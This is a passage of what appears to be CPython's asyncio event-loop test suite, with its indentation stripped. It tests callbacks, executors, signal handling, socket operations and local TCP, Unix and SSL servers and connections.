if loop is not None:
self.done = asyncio.Future(loop=loop)
def connection_made(self, transport):
self.transport = transport
assert self.state == ['INITIAL'], self.state
self.state.append('CONNECTED')
def data_received(self, data):
assert self.state == ['INITIAL', 'CONNECTED'], self.state
self.nbytes += len(data)
def eof_received(self):
assert self.state == ['INITIAL', 'CONNECTED'], self.state
self.state.append('EOF')
def connection_lost(self, exc):
if 'EOF' not in self.state:
self.state.append('EOF') # It is okay if EOF is missed.
assert self.state == ['INITIAL', 'CONNECTED', 'EOF'], self.state
self.state.append('CLOSED')
if self.done:
self.done.set_result(None)
class MyWritePipeProto(asyncio.BaseProtocol):
done = None
def __init__(self, loop=None):
self.state = 'INITIAL'
self.transport = None
if loop is not None:
self.done = asyncio.Future(loop=loop)
def connection_made(self, transport):
self.transport = transport
assert self.state == 'INITIAL', self.state
self.state = 'CONNECTED'
def connection_lost(self, exc):
assert self.state == 'CONNECTED', self.state
self.state = 'CLOSED'
if self.done:
self.done.set_result(None)
class MySubprocessProtocol(asyncio.SubprocessProtocol):
def __init__(self, loop):
self.state = 'INITIAL'
self.transport = None
self.connected = asyncio.Future(loop=loop)
self.completed = asyncio.Future(loop=loop)
self.disconnects = {fd: asyncio.Future(loop=loop) for fd in range(3)}
self.data = {1: b'', 2: b''}
self.returncode = None
self.got_data = {1: asyncio.Event(loop=loop),
2: asyncio.Event(loop=loop)}
def connection_made(self, transport):
self.transport = transport
assert self.state == 'INITIAL', self.state
self.state = 'CONNECTED'
self.connected.set_result(None)
def connection_lost(self, exc):
assert self.state == 'CONNECTED', self.state
self.state = 'CLOSED'
self.completed.set_result(None)
def pipe_data_received(self, fd, data):
assert self.state == 'CONNECTED', self.state
self.data[fd] += data
self.got_data[fd].set()
def pipe_connection_lost(self, fd, exc):
assert self.state == 'CONNECTED', self.state
if exc:
self.disconnects[fd].set_exception(exc)
else:
self.disconnects[fd].set_result(exc)
def process_exited(self):
assert self.state == 'CONNECTED', self.state
self.returncode = self.transport.get_returncode()
class EventLoopTestsMixin:
def setUp(self):
super().setUp()
self.loop = self.create_event_loop()
self.set_event_loop(self.loop)
def tearDown(self):
# just in case if we have transport close callbacks
if not self.loop.is_closed():
test_utils.run_briefly(self.loop)
self.doCleanups()
support.gc_collect()
super().tearDown()
def test_run_until_complete_nesting(self):
@asyncio.coroutine
def coro1():
yield
@asyncio.coroutine
def coro2():
self.assertTrue(self.loop.is_running())
self.loop.run_until_complete(coro1())
self.assertRaises(
RuntimeError, self.loop.run_until_complete, coro2())
# Note: because of the default Windows timing granularity of
# 15.6 msec, we use fairly long sleep times here (~100 msec).
def test_run_until_complete(self):
t0 = self.loop.time()
self.loop.run_until_complete(asyncio.sleep(0.1, loop=self.loop))
t1 = self.loop.time()
self.assertTrue(0.08 <= t1-t0 <= 0.8, t1-t0)
def test_run_until_complete_stopped(self):
async def cb():
self.loop.stop()
await asyncio.sleep(0.1, loop=self.loop)
task = cb()
self.assertRaises(RuntimeError,
self.loop.run_until_complete, task)
def test_call_later(self):
results = []
def callback(arg):
results.append(arg)
self.loop.stop()
self.loop.call_later(0.1, callback, 'hello world')
t0 = time.monotonic()
self.loop.run_forever()
t1 = time.monotonic()
self.assertEqual(results, ['hello world'])
self.assertTrue(0.08 <= t1-t0 <= 0.8, t1-t0)
def test_call_soon(self):
results = []
def callback(arg1, arg2):
results.append((arg1, arg2))
self.loop.stop()
self.loop.call_soon(callback, 'hello', 'world')
self.loop.run_forever()
self.assertEqual(results, [('hello', 'world')])
def test_call_soon_threadsafe(self):
results = []
lock = threading.Lock()
def callback(arg):
results.append(arg)
if len(results) >= 2:
self.loop.stop()
def run_in_thread():
self.loop.call_soon_threadsafe(callback, 'hello')
lock.release()
lock.acquire()
t = threading.Thread(target=run_in_thread)
t.start()
with lock:
self.loop.call_soon(callback, 'world')
self.loop.run_forever()
t.join()
self.assertEqual(results, ['hello', 'world'])
def test_call_soon_threadsafe_same_thread(self):
results = []
def callback(arg):
results.append(arg)
if len(results) >= 2:
self.loop.stop()
self.loop.call_soon_threadsafe(callback, 'hello')
self.loop.call_soon(callback, 'world')
self.loop.run_forever()
self.assertEqual(results, ['hello', 'world'])
def test_run_in_executor(self):
def run(arg):
return (arg, threading.get_ident())
f2 = self.loop.run_in_executor(None, run, 'yo')
res, thread_id = self.loop.run_until_complete(f2)
self.assertEqual(res, 'yo')
self.assertNotEqual(thread_id, threading.get_ident())
def test_run_in_executor_cancel(self):
called = False
def patched_call_soon(*args):
nonlocal called
called = True
def run():
time.sleep(0.05)
f2 = self.loop.run_in_executor(None, run)
f2.cancel()
self.loop.close()
self.loop.call_soon = patched_call_soon
self.loop.call_soon_threadsafe = patched_call_soon
time.sleep(0.4)
self.assertFalse(called)
def test_reader_callback(self):
r, w = socket.socketpair()
r.setblocking(False)
bytes_read = bytearray()
def reader():
try:
data = r.recv(1024)
except BlockingIOError:
# Spurious readiness notifications are possible
# at least on Linux -- see man select.
return
if data:
bytes_read.extend(data)
else:
self.assertTrue(self.loop.remove_reader(r.fileno()))
r.close()
self.loop.add_reader(r.fileno(), reader)
self.loop.call_soon(w.send, b'abc')
test_utils.run_until(self.loop, lambda: len(bytes_read) >= 3)
self.loop.call_soon(w.send, b'def')
test_utils.run_until(self.loop, lambda: len(bytes_read) >= 6)
self.loop.call_soon(w.close)
self.loop.call_soon(self.loop.stop)
self.loop.run_forever()
self.assertEqual(bytes_read, b'abcdef')
def test_writer_callback(self):
r, w = socket.socketpair()
w.setblocking(False)
def writer(data):
w.send(data)
self.loop.stop()
data = b'x' * 1024
self.loop.add_writer(w.fileno(), writer, data)
self.loop.run_forever()
self.assertTrue(self.loop.remove_writer(w.fileno()))
self.assertFalse(self.loop.remove_writer(w.fileno()))
w.close()
read = r.recv(len(data) * 2)
r.close()
self.assertEqual(read, data)
def _basetest_sock_client_ops(self, httpd, sock):
if not isinstance(self.loop, proactor_events.BaseProactorEventLoop):
# in debug mode, socket operations must fail
# if the socket is not in blocking mode
self.loop.set_debug(True)
sock.setblocking(True)
with self.assertRaises(ValueError):
self.loop.run_until_complete(
self.loop.sock_connect(sock, httpd.address))
with self.assertRaises(ValueError):
self.loop.run_until_complete(
self.loop.sock_sendall(sock, b'GET / HTTP/1.0\r\n\r\n'))
with self.assertRaises(ValueError):
self.loop.run_until_complete(
self.loop.sock_recv(sock, 1024))
with self.assertRaises(ValueError):
self.loop.run_until_complete(
self.loop.sock_recv_into(sock, bytearray()))
with self.assertRaises(ValueError):
self.loop.run_until_complete(
self.loop.sock_accept(sock))
# test in non-blocking mode
sock.setblocking(False)
self.loop.run_until_complete(
self.loop.sock_connect(sock, httpd.address))
self.loop.run_until_complete(
self.loop.sock_sendall(sock, b'GET / HTTP/1.0\r\n\r\n'))
data = self.loop.run_until_complete(
self.loop.sock_recv(sock, 1024))
# consume data
self.loop.run_until_complete(
self.loop.sock_recv(sock, 1024))
sock.close()
self.assertTrue(data.startswith(b'HTTP/1.0 200 OK'))
def _basetest_sock_recv_into(self, httpd, sock):
# same as _basetest_sock_client_ops, but using sock_recv_into
sock.setblocking(False)
self.loop.run_until_complete(
self.loop.sock_connect(sock, httpd.address))
self.loop.run_until_complete(
self.loop.sock_sendall(sock, b'GET / HTTP/1.0\r\n\r\n'))
data = bytearray(1024)
with memoryview(data) as buf:
nbytes = self.loop.run_until_complete(
self.loop.sock_recv_into(sock, buf[:1024]))
# consume data
self.loop.run_until_complete(
self.loop.sock_recv_into(sock, buf[nbytes:]))
sock.close()
self.assertTrue(data.startswith(b'HTTP/1.0 200 OK'))
def test_sock_client_ops(self):
with test_utils.run_test_server() as httpd:
sock = socket.socket()
self._basetest_sock_client_ops(httpd, sock)
sock = socket.socket()
self._basetest_sock_recv_into(httpd, sock)
@support.skip_unless_bind_unix_socket
def test_unix_sock_client_ops(self):
with test_utils.run_test_unix_server() as httpd:
sock = socket.socket(socket.AF_UNIX)
self._basetest_sock_client_ops(httpd, sock)
sock = socket.socket(socket.AF_UNIX)
self._basetest_sock_recv_into(httpd, sock)
def test_sock_client_fail(self):
# Make sure that we will get an unused port
address = None
try:
s = socket.socket()
s.bind(('127.0.0.1', 0))
address = s.getsockname()
finally:
s.close()
sock = socket.socket()
sock.setblocking(False)
with self.assertRaises(ConnectionRefusedError):
self.loop.run_until_complete(
self.loop.sock_connect(sock, address))
sock.close()
def test_sock_accept(self):
listener = socket.socket()
listener.setblocking(False)
listener.bind(('127.0.0.1', 0))
listener.listen(1)
client = socket.socket()
client.connect(listener.getsockname())
f = self.loop.sock_accept(listener)
conn, addr = self.loop.run_until_complete(f)
self.assertEqual(conn.gettimeout(), 0)
self.assertEqual(addr, client.getsockname())
self.assertEqual(client.getpeername(), listener.getsockname())
client.close()
conn.close()
listener.close()
@unittest.skipUnless(hasattr(signal, 'SIGKILL'), 'No SIGKILL')
def test_add_signal_handler(self):
caught = 0
def my_handler():
nonlocal caught
caught += 1
# Check error behavior first.
self.assertRaises(
TypeError, self.loop.add_signal_handler, 'boom', my_handler)
self.assertRaises(
TypeError, self.loop.remove_signal_handler, 'boom')
self.assertRaises(
ValueError, self.loop.add_signal_handler, signal.NSIG+1,
my_handler)
self.assertRaises(
ValueError, self.loop.remove_signal_handler, signal.NSIG+1)
self.assertRaises(
ValueError, self.loop.add_signal_handler, 0, my_handler)
self.assertRaises(
ValueError, self.loop.remove_signal_handler, 0)
self.assertRaises(
ValueError, self.loop.add_signal_handler, -1, my_handler)
self.assertRaises(
ValueError, self.loop.remove_signal_handler, -1)
self.assertRaises(
RuntimeError, self.loop.add_signal_handler, signal.SIGKILL,
my_handler)
# Removing SIGKILL doesn't raise, since we don't call signal().
self.assertFalse(self.loop.remove_signal_handler(signal.SIGKILL))
# Now set a handler and handle it.
self.loop.add_signal_handler(signal.SIGINT, my_handler)
os.kill(os.getpid(), signal.SIGINT)
test_utils.run_until(self.loop, lambda: caught)
# Removing it should restore the default handler.
self.assertTrue(self.loop.remove_signal_handler(signal.SIGINT))
self.assertEqual(signal.getsignal(signal.SIGINT),
signal.default_int_handler)
# Removing again returns False.
self.assertFalse(self.loop.remove_signal_handler(signal.SIGINT))
@unittest.skipUnless(hasattr(signal, 'SIGALRM'), 'No SIGALRM')
def test_signal_handling_while_selecting(self):
# Test with a signal actually arriving during a select() call.
caught = 0
def my_handler():
nonlocal caught
caught += 1
self.loop.stop()
self.loop.add_signal_handler(signal.SIGALRM, my_handler)
signal.setitimer(signal.ITIMER_REAL, 0.01, 0) # Send SIGALRM once.
self.loop.call_later(60, self.loop.stop)
self.loop.run_forever()
self.assertEqual(caught, 1)
@unittest.skipUnless(hasattr(signal, 'SIGALRM'), 'No SIGALRM')
def test_signal_handling_args(self):
some_args = (42,)
caught = 0
def my_handler(*args):
nonlocal caught
caught += 1
self.assertEqual(args, some_args)
self.loop.stop()
self.loop.add_signal_handler(signal.SIGALRM, my_handler, *some_args)
signal.setitimer(signal.ITIMER_REAL, 0.1, 0) # Send SIGALRM once.
self.loop.call_later(60, self.loop.stop)
self.loop.run_forever()
self.assertEqual(caught, 1)
def _basetest_create_connection(self, connection_fut, check_sockname=True):
tr, pr = self.loop.run_until_complete(connection_fut)
self.assertIsInstance(tr, asyncio.Transport)
self.assertIsInstance(pr, asyncio.Protocol)
self.assertIs(pr.transport, tr)
if check_sockname:
self.assertIsNotNone(tr.get_extra_info('sockname'))
self.loop.run_until_complete(pr.done)
self.assertGreater(pr.nbytes, 0)
tr.close()
def test_create_connection(self):
with test_utils.run_test_server() as httpd:
conn_fut = self.loop.create_connection(
lambda: MyProto(loop=self.loop), *httpd.address)
self._basetest_create_connection(conn_fut)
@support.skip_unless_bind_unix_socket
def test_create_unix_connection(self):
# Issue #20682: On Mac OS X Tiger, getsockname() returns a
# zero-length address for UNIX socket.
check_sockname = not broken_unix_getsockname()
with test_utils.run_test_unix_server() as httpd:
conn_fut = self.loop.create_unix_connection(
lambda: MyProto(loop=self.loop), httpd.address)
self._basetest_create_connection(conn_fut, check_sockname)
def test_create_connection_sock(self):
with test_utils.run_test_server() as httpd:
sock = None
infos = self.loop.run_until_complete(
self.loop.getaddrinfo(
*httpd.address, type=socket.SOCK_STREAM))
for family, type, proto, cname, address in infos:
try:
sock = socket.socket(family=family, type=type, proto=proto)
sock.setblocking(False)
self.loop.run_until_complete(
self.loop.sock_connect(sock, address))
except:
pass
else:
break
else:
assert False, 'Can not create socket.'
f = self.loop.create_connection(
lambda: MyProto(loop=self.loop), sock=sock)
tr, pr = self.loop.run_until_complete(f)
self.assertIsInstance(tr, asyncio.Transport)
self.assertIsInstance(pr, asyncio.Protocol)
self.loop.run_until_complete(pr.done)
self.assertGreater(pr.nbytes, 0)
tr.close()
def check_ssl_extra_info(self, client, check_sockname=True,
peername=None, peercert={}):
if check_sockname:
self.assertIsNotNone(client.get_extra_info('sockname'))
if peername:
self.assertEqual(peername,
client.get_extra_info('peername'))
else:
self.assertIsNotNone(client.get_extra_info('peername'))
self.assertEqual(peercert,
client.get_extra_info('peercert'))
# test SSL cipher
cipher = client.get_extra_info('cipher')
self.assertIsInstance(cipher, tuple)
self.assertEqual(len(cipher), 3, cipher)
self.assertIsInstance(cipher[0], str)
self.assertIsInstance(cipher[1], str)
self.assertIsInstance(cipher[2], int)
# test SSL object
sslobj = client.get_extra_info('ssl_object')
self.assertIsNotNone(sslobj)
self.assertEqual(sslobj.compression(),
client.get_extra_info('compression'))
self.assertEqual(sslobj.cipher(),
client.get_extra_info('cipher'))
self.assertEqual(sslobj.getpeercert(),
client.get_extra_info('peercert'))
self.assertEqual(sslobj.compression(),
client.get_extra_info('compression'))
def _basetest_create_ssl_connection(self, connection_fut,
check_sockname=True,
peername=None):
tr, pr = self.loop.run_until_complete(connection_fut)
self.assertIsInstance(tr, asyncio.Transport)
self.assertIsInstance(pr, asyncio.Protocol)
self.assertTrue('ssl' in tr.__class__.__name__.lower())
self.check_ssl_extra_info(tr, check_sockname, peername)
self.loop.run_until_complete(pr.done)
self.assertGreater(pr.nbytes, 0)
tr.close()
def _test_create_ssl_connection(self, httpd, create_connection,
check_sockname=True, peername=None):
conn_fut = create_connection(ssl=test_utils.dummy_ssl_context())
self._basetest_create_ssl_connection(conn_fut, check_sockname,
peername)
# ssl.Purpose was introduced in Python 3.4
if hasattr(ssl, 'Purpose'):
def _dummy_ssl_create_context(purpose=ssl.Purpose.SERVER_AUTH, *,
cafile=None, capath=None,
cadata=None):
"""
A ssl.create_default_context() replacement that doesn't enable
cert validation.
"""
self.assertEqual(purpose, ssl.Purpose.SERVER_AUTH)
return test_utils.dummy_ssl_context()
# With ssl=True, ssl.create_default_context() should be called
with mock.patch('ssl.create_default_context',
side_effect=_dummy_ssl_create_context) as m:
conn_fut = create_connection(ssl=True)
self._basetest_create_ssl_connection(conn_fut, check_sockname,
peername)
self.assertEqual(m.call_count, 1)
# With the real ssl.create_default_context(), certificate
# validation will fail
with self.assertRaises(ssl.SSLError) as cm:
conn_fut = create_connection(ssl=True)
# Ignore the "SSL handshake failed" log in debug mode
with test_utils.disable_logger():
self._basetest_create_ssl_connection(conn_fut, check_sockname,
peername)
self.assertEqual(cm.exception.reason, 'CERTIFICATE_VERIFY_FAILED')
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_ssl_connection(self):
with test_utils.run_test_server(use_ssl=True) as httpd:
create_connection = functools.partial(
self.loop.create_connection,
lambda: MyProto(loop=self.loop),
*httpd.address)
self._test_create_ssl_connection(httpd, create_connection,
peername=httpd.address)
@support.skip_unless_bind_unix_socket
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_ssl_unix_connection(self):
# Issue #20682: On Mac OS X Tiger, getsockname() returns a
# zero-length address for UNIX socket.
check_sockname = not broken_unix_getsockname()
with test_utils.run_test_unix_server(use_ssl=True) as httpd:
create_connection = functools.partial(
self.loop.create_unix_connection,
lambda: MyProto(loop=self.loop), httpd.address,
server_hostname='127.0.0.1')
self._test_create_ssl_connection(httpd, create_connection,
check_sockname,
peername=httpd.address)
def test_create_connection_local_addr(self):
with test_utils.run_test_server() as httpd:
port = support.find_unused_port()
f = self.loop.create_connection(
lambda: MyProto(loop=self.loop),
*httpd.address, local_addr=(httpd.address[0], port))
tr, pr = self.loop.run_until_complete(f)
expected = pr.transport.get_extra_info('sockname')[1]
self.assertEqual(port, expected)
tr.close()
def test_create_connection_local_addr_in_use(self):
with test_utils.run_test_server() as httpd:
f = self.loop.create_connection(
lambda: MyProto(loop=self.loop),
*httpd.address, local_addr=httpd.address)
with self.assertRaises(OSError) as cm:
self.loop.run_until_complete(f)
self.assertEqual(cm.exception.errno, errno.EADDRINUSE)
self.assertIn(str(httpd.address), cm.exception.strerror)
def test_connect_accepted_socket(self, server_ssl=None, client_ssl=None):
loop = self.loop
class MyProto(MyBaseProto):
def connection_lost(self, exc):
super().connection_lost(exc)
loop.call_soon(loop.stop)
def data_received(self, data):
super().data_received(data)
self.transport.write(expected_response)
lsock = socket.socket()
lsock.bind(('127.0.0.1', 0))
lsock.listen(1)
addr = lsock.getsockname()
message = b'test data'
response = None
expected_response = b'roger'
def client():
nonlocal response
try:
csock = socket.socket()
if client_ssl is not None:
csock = client_ssl.wrap_socket(csock)
csock.connect(addr)
csock.sendall(message)
response = csock.recv(99)
csock.close()
except Exception as exc:
print(
"Failure in client thread in test_connect_accepted_socket",
exc)
thread = threading.Thread(target=client, daemon=True)
thread.start()
conn, _ = lsock.accept()
proto = MyProto(loop=loop)
proto.loop = loop
loop.run_until_complete(
loop.connect_accepted_socket(
(lambda: proto), conn, ssl=server_ssl))
loop.run_forever()
proto.transport.close()
lsock.close()
support.join_thread(thread, timeout=1)
self.assertFalse(thread.is_alive())
self.assertEqual(proto.state, 'CLOSED')
self.assertEqual(proto.nbytes, len(message))
self.assertEqual(response, expected_response)
@unittest.skipIf(ssl is None, 'No ssl module')
def test_ssl_connect_accepted_socket(self):
if (sys.platform == 'win32' and
sys.version_info < (3, 5) and
isinstance(self.loop, proactor_events.BaseProactorEventLoop)
):
raise unittest.SkipTest(
'SSL not supported with proactor event loops before Python 3.5'
)
server_context = test_utils.simple_server_sslcontext()
client_context = test_utils.simple_client_sslcontext()
self.test_connect_accepted_socket(server_context, client_context)
def test_connect_accepted_socket_ssl_timeout_for_plain_socket(self):
sock = socket.socket()
self.addCleanup(sock.close)
coro = self.loop.connect_accepted_socket(
MyProto, sock, ssl_handshake_timeout=1)
with self.assertRaisesRegex(
ValueError,
'ssl_handshake_timeout is only meaningful with ssl'):
self.loop.run_until_complete(coro)
@mock.patch('asyncio.base_events.socket')
def create_server_multiple_hosts(self, family, hosts, mock_sock):
@asyncio.coroutine
def getaddrinfo(host, port, *args, **kw):
if family == socket.AF_INET:
return [(family, socket.SOCK_STREAM, 6, '', (host, port))]
else:
return [(family, socket.SOCK_STREAM, 6, '', (host, port, 0, 0))]
def getaddrinfo_task(*args, **kwds):
return asyncio.Task(getaddrinfo(*args, **kwds), loop=self.loop)
unique_hosts = set(hosts)
if family == socket.AF_INET:
mock_sock.socket().getsockbyname.side_effect = [
(host, 80) for host in unique_hosts]
else:
mock_sock.socket().getsockbyname.side_effect = [
(host, 80, 0, 0) for host in unique_hosts]
self.loop.getaddrinfo = getaddrinfo_task
self.loop._start_serving = mock.Mock()
self.loop._stop_serving = mock.Mock()
f = self.loop.create_server(lambda: MyProto(self.loop), hosts, 80)
server = self.loop.run_until_complete(f)
self.addCleanup(server.close)
server_hosts = {sock.getsockbyname()[0] for sock in server.sockets}
self.assertEqual(server_hosts, unique_hosts)
def test_create_server_multiple_hosts_ipv4(self):
self.create_server_multiple_hosts(socket.AF_INET,
['1.2.3.4', '5.6.7.8', '1.2.3.4'])
def test_create_server_multiple_hosts_ipv6(self):
self.create_server_multiple_hosts(socket.AF_INET6,
['::1', '::2', '::1'])
def test_create_server(self):
proto = MyProto(self.loop)
f = self.loop.create_server(lambda: proto, '0.0.0.0', 0)
server = self.loop.run_until_complete(f)
self.assertEqual(len(server.sockets), 1)
sock = server.sockets[0]
host, port = sock.getsockname()
self.assertEqual(host, '0.0.0.0')
client = socket.socket()
client.connect(('127.0.0.1', port))
client.sendall(b'xxx')
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
test_utils.run_until(self.loop, lambda: proto.nbytes > 0)
self.assertEqual(3, proto.nbytes)
# extra info is available
self.assertIsNotNone(proto.transport.get_extra_info('sockname'))
self.assertEqual('127.0.0.1',
proto.transport.get_extra_info('peername')[0])
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
# the client socket must be closed after to avoid ECONNRESET upon
# recv()/send() on the serving socket
client.close()
# close server
server.close()
@unittest.skipUnless(hasattr(socket, 'SO_REUSEPORT'), 'No SO_REUSEPORT')
def test_create_server_reuse_port(self):
proto = MyProto(self.loop)
f = self.loop.create_server(
lambda: proto, '0.0.0.0', 0)
server = self.loop.run_until_complete(f)
self.assertEqual(len(server.sockets), 1)
sock = server.sockets[0]
self.assertFalse(
sock.getsockopt(
socket.SOL_SOCKET, socket.SO_REUSEPORT))
server.close()
test_utils.run_briefly(self.loop)
proto = MyProto(self.loop)
f = self.loop.create_server(
lambda: proto, '0.0.0.0', 0, reuse_port=True)
server = self.loop.run_until_complete(f)
self.assertEqual(len(server.sockets), 1)
sock = server.sockets[0]
self.assertTrue(
sock.getsockopt(
socket.SOL_SOCKET, socket.SO_REUSEPORT))
server.close()
def _make_unix_server(self, factory, **kwargs):
path = test_utils.gen_unix_socket_path()
self.addCleanup(lambda: os.path.exists(path) and os.unlink(path))
f = self.loop.create_unix_server(factory, path, **kwargs)
server = self.loop.run_until_complete(f)
return server, path
@support.skip_unless_bind_unix_socket
def test_create_unix_server(self):
proto = MyProto(loop=self.loop)
server, path = self._make_unix_server(lambda: proto)
self.assertEqual(len(server.sockets), 1)
client = socket.socket(socket.AF_UNIX)
client.connect(path)
client.sendall(b'xxx')
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
test_utils.run_until(self.loop, lambda: proto.nbytes > 0)
self.assertEqual(3, proto.nbytes)
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
# the client socket must be closed after to avoid ECONNRESET upon
# recv()/send() on the serving socket
client.close()
# close server
server.close()
@unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'No UNIX Sockets')
def test_create_unix_server_path_socket_error(self):
proto = MyProto(loop=self.loop)
sock = socket.socket()
with sock:
f = self.loop.create_unix_server(lambda: proto, '/test', sock=sock)
with self.assertRaisesRegex(ValueError,
'path and sock can not be specified '
'at the same time'):
self.loop.run_until_complete(f)
def _create_ssl_context(self, certfile, keyfile=None):
sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
sslcontext.options |= ssl.OP_NO_SSLv2
sslcontext.load_cert_chain(certfile, keyfile)
return sslcontext
def _make_ssl_server(self, factory, certfile, keyfile=None):
sslcontext = self._create_ssl_context(certfile, keyfile)
f = self.loop.create_server(factory, '127.0.0.1', 0, ssl=sslcontext)
server = self.loop.run_until_complete(f)
sock = server.sockets[0]
host, port = sock.getsockname()
self.assertEqual(host, '127.0.0.1')
return server, host, port
def _make_ssl_unix_server(self, factory, certfile, keyfile=None):
sslcontext = self._create_ssl_context(certfile, keyfile)
return self._make_unix_server(factory, ssl=sslcontext)
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_server_ssl(self):
proto = MyProto(loop=self.loop)
server, host, port = self._make_ssl_server(
lambda: proto, test_utils.ONLYCERT, test_utils.ONLYKEY)
f_c = self.loop.create_connection(MyBaseProto, host, port,
ssl=test_utils.dummy_ssl_context())
client, pr = self.loop.run_until_complete(f_c)
client.write(b'xxx')
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
test_utils.run_until(self.loop, lambda: proto.nbytes > 0)
self.assertEqual(3, proto.nbytes)
# extra info is available
self.check_ssl_extra_info(client, peername=(host, port))
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
# the client socket must be closed after to avoid ECONNRESET upon
# recv()/send() on the serving socket
client.close()
# stop serving
server.close()
@support.skip_unless_bind_unix_socket
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_unix_server_ssl(self):
proto = MyProto(loop=self.loop)
server, path = self._make_ssl_unix_server(
lambda: proto, test_utils.ONLYCERT, test_utils.ONLYKEY)
f_c = self.loop.create_unix_connection(
MyBaseProto, path, ssl=test_utils.dummy_ssl_context(),
server_hostname='')
client, pr = self.loop.run_until_complete(f_c)
client.write(b'xxx')
self.loop.run_until_complete(proto.connected)
self.assertEqual('CONNECTED', proto.state)
test_utils.run_until(self.loop, lambda: proto.nbytes > 0)
self.assertEqual(3, proto.nbytes)
# close connection
proto.transport.close()
self.loop.run_until_complete(proto.done)
self.assertEqual('CLOSED', proto.state)
# the client socket must be closed after to avoid ECONNRESET upon
# recv()/send() on the serving socket
client.close()
# stop serving
server.close()
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_server_ssl_verify_failed(self):
proto = MyProto(loop=self.loop)
server, host, port = self._make_ssl_server(
lambda: proto, test_utils.SIGNED_CERTFILE)
sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
sslcontext_client.options |= ssl.OP_NO_SSLv2
sslcontext_client.verify_mode = ssl.CERT_REQUIRED
if hasattr(sslcontext_client, 'check_hostname'):
sslcontext_client.check_hostname = True
# no CA loaded
f_c = self.loop.create_connection(MyProto, host, port,
ssl=sslcontext_client)
with mock.patch.object(self.loop, 'call_exception_handler'):
with test_utils.disable_logger():
with self.assertRaisesRegex(ssl.SSLError,
'(?i)certificate.verify.failed'):
self.loop.run_until_complete(f_c)
# execute the loop to log the connection error
test_utils.run_briefly(self.loop)
# close connection
self.assertIsNone(proto.transport)
server.close()
@support.skip_unless_bind_unix_socket
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_unix_server_ssl_verify_failed(self):
proto = MyProto(loop=self.loop)
server, path = self._make_ssl_unix_server(
lambda: proto, test_utils.SIGNED_CERTFILE)
sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
sslcontext_client.options |= ssl.OP_NO_SSLv2
sslcontext_client.verify_mode = ssl.CERT_REQUIRED
if hasattr(sslcontext_client, 'check_hostname'):
sslcontext_client.check_hostname = True
# no CA loaded
f_c = self.loop.create_unix_connection(MyProto, path,
ssl=sslcontext_client,
server_hostname='invalid')
with mock.patch.object(self.loop, 'call_exception_handler'):
with test_utils.disable_logger():
with self.assertRaisesRegex(ssl.SSLError,
'(?i)certificate.verify.failed'):
self.loop.run_until_complete(f_c)
# execute the loop to log the connection error
test_utils.run_briefly(self.loop)
# close connection
self.assertIsNone(proto.transport)
server.close()
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_server_ssl_match_failed(self):
proto = MyProto(loop=self.loop)
server, host, port = self._make_ssl_server(
lambda: proto, test_utils.SIGNED_CERTFILE)
sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
sslcontext_client.options |= ssl.OP_NO_SSLv2
sslcontext_client.verify_mode = ssl.CERT_REQUIRED
sslcontext_client.load_verify_locations(
cafile=test_utils.SIGNING_CA)
if hasattr(sslcontext_client, 'check_hostname'):
sslcontext_client.check_hostname = True
# incorrect server_hostname
f_c = self.loop.create_connection(MyProto, host, port,
ssl=sslcontext_client)
with mock.patch.object(self.loop, 'call_exception_handler'):
with test_utils.disable_logger():
with self.assertRaisesRegex(
ssl.CertificateError,
"IP address mismatch, certificate is not valid for "
"'127.0.0.1'"):
self.loop.run_until_complete(f_c)
# close connection
# transport is None because TLS ALERT aborted the handshake
self.assertIsNone(proto.transport)
server.close()
@support.skip_unless_bind_unix_socket
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_unix_server_ssl_verified(self):
proto = MyProto(loop=self.loop)
server, path = self._make_ssl_unix_server(
lambda: proto, test_utils.SIGNED_CERTFILE)
sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
sslcontext_client.options |= ssl.OP_NO_SSLv2
sslcontext_client.verify_mode = ssl.CERT_REQUIRED
sslcontext_client.load_verify_locations(cafile=test_utils.SIGNING_CA)
if hasattr(sslcontext_client, 'check_hostname'):
sslcontext_client.check_hostname = True
# Connection succeeds with correct CA and server hostname.
f_c = self.loop.create_unix_connection(MyProto, path,
ssl=sslcontext_client,
server_hostname='localhost')
client, pr = self.loop.run_until_complete(f_c)
# close connection
proto.transport.close()
client.close()
server.close()
self.loop.run_until_complete(proto.done)
@unittest.skipIf(ssl is None, 'No ssl module')
def test_create_server_ssl_verified(self):
proto = MyProto(loop=self.loop)
server, host, port = self._make_ssl_server(
lambda: proto, test_utils.SIGNED_CERTFILE)
sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
sslcontext_client.options |= ssl.OP_NO_SSLv2
sslcontext_client.verify_mode = ssl.CERT_REQUIRED
sslcontext_client.load_verify_locations(cafile=test_utils.SIGNING_CA)
if hasattr(sslcontext_client, 'check_hostname'):
sslcontext_client.check_hostname = True
# Connection succeeds with correct CA and server hostname.
f_c = self.loop.create_connection(MyProto, host, port,
ssl=sslcontext_client,
server_hostname='localhost')
client, pr = self.loop.run_until_complete(f_c)
# extra info is available
self.check_ssl_extra_info(client,peername=(host, port),
peercert=test_utils.PEERCERT)
# close connection
proto.transport.close()
client.close()
server.close()
self.loop.run_until_complete(proto.done)
def test_create_server_sock(self):
proto = asyncio.Future(loop=self.loop)
class TestMyProto(MyProto):
def connection_made(self, transport):
super().connection_made(transport)
proto.set_result(self)
